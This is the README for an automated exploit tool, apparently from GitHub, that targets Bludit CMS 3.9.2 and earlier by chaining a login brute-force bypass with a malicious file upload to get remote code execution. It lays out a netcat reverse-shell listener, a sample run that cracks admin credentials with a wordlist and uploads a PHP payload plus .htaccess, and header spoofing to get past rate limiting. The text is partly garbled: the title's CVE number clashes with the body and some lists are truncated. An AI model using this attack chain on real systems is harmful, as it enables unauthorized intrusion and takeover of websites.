
cve-2016-16113
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
An automated exploitation tool that combines CVE-2019-17240 (Authentication Bypass) and CVE-2019-16113 (Arbitrary File Upload) to achieve remote code execution on vulnerable Bludit CMS installations.
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is intended for security professionals conducting authorized penetration tests and security researchers operating within legal boundaries. Unauthorized access to computer systems is illegal under laws such as the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
By using this tool, you agree to:
The author assumes no liability and is not responsible for any misuse or damage caused by this tool.
This exploit automates the process of:
Affected Versions: Bludit CMS versions 3.9.2 and below
requests# Clone the repository
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# Install dependencies
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
The script will prompt you for:
https://target.com)Before running the exploit, set up a netcat listener:
nc -lvnp 4444
Replace 4444 with your chosen port.
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists: https://github.com/danielmiessler/SecLists
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txtRockYou: /usr/share/wordlists/rockyou.txt (Kali Linux)
X-Forwarded-For header to bypass rate limiting/bl-content/tmp/.htaccess file to ensure executionIf you're a system administrator:
/bl-content/tmp/ directory for suspicious filesIssue: "The target seems to be down"
Issue: "Login failed"
Issue: "No shell received"
d3vn0mi
This project is provided for educational and authorized security testing purposes only. See the disclaimer at the top of this README.
Contributions, issues, and feature requests are welcome! Feel free to check the issues page.